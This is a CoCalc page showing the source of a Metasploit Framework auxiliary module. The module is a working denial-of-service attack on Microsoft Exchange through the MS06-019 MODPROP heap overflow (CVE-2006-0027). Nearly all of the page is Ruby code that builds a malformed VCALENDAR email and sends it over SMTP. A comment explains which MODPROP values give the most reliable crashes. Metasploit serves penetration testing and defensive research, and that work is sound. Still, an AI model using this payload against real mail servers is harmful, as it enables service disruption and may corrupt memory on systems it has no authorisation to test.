CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Smtp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'MS06-019 Exchange MODPROP Heap Overflow',
13
'Description' => %q{
14
This module triggers a heap overflow vulnerability in MS
15
Exchange that occurs when multiple malformed MODPROP values
16
occur in a VCAL request.
17
},
18
'Author' => [ 'pusscat' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'BID', '17908'],
23
[ 'CVE', '2006-0027'],
24
[ 'MSB', 'MS06-019'],
25
26
],
27
'DisclosureDate' => '2004-11-12'))
28
29
register_options(
30
[
31
OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains'])
32
])
33
34
end
35
36
#
37
# This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class
38
#
39
def run
40
41
connect_login
42
43
modprops = ['attendee', 'categories', 'class', 'created', 'description',
44
'dtstamp', 'duration', 'last-modified',
45
'location', 'organizer', 'priority', 'recurrence-id', 'sequence',
46
'status', 'summary', 'transp', 'uid']
47
48
#modprops = ['dtstamp']
49
50
modpropshort = ""
51
modpropbusted = ""
52
modnum = rand(3)
53
54
1.upto(modnum) {
55
nextprop = rand(modprops.size)
56
modpropshort << modprops[nextprop] + ","
57
modpropbusted << modprops[nextprop].upcase + ":\r\n"
58
}
59
60
modpropshort = "dtstamp,"
61
modpropbusted = "DTSTAMP:\r\n"
62
modnum = modnum + 1 + rand(3)
63
modproplong = modpropshort
64
1.upto(modnum) {
65
modproplong << modprops[rand(modprops.size)] + ","
66
}
67
68
boundary = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)
69
70
71
# Really, the randomization above only crashes /sometimes/ - it's MUCH more
72
# reliable, and gives crashes in better spots of you use these modprops:
73
74
modpropshort = "dtstamp,"
75
modproplong = "dtstamp, dtstamp,"
76
modpropbusted = "DTSTAMP:\r\n"
77
78
mail = "From: #{datastore['MAILFROM']}\r\n"
79
mail << "To: #{datastore['MAILTO']}\r\n"
80
mail << "Subject: #{datastore['SUBJECT']}\r\n"
81
mail << "Content-class: urn:content-classes:calendarmessage\r\n"
82
mail << "MIME-Version: 1.0\r\n"
83
mail << "Content-Type: multipart/alternative;boundary=\"#{boundary}\"\r\n"
84
mail << "X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n"
85
mail << "\r\n"
86
mail << "--#{boundary}\r\n"
87
mail << "Content-class: urn:content-classes:calendarmessage\r\n"
88
mail << "Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n"
89
mail << "Content-Transfer-Encoding: 8bit\r\n"
90
mail << "\r\n"
91
mail << "BEGIN:VCALENDAR\r\n"
92
mail << "BEGIN:VEVENT\r\n"
93
mail << "X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n"
94
mail << modpropbusted
95
mail << "END:VEVENT\r\n"
96
mail << "BEGIN:VEVENT\r\n"
97
mail << "X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n"
98
mail << "END:VEVENT\r\n"
99
mail << "END:VCALENDAR\r\n"
100
mail << "\r\n--#{boundary}\r\n"
101
mail << "\r\n.\r\n"
102
103
104
print_status("Sending message...")
105
sock.put(mail)
106
sock.put("QUIT\r\n")
107
print "<< " + (sock.get_once || '')
108
disconnect
109
end
110
end
111
112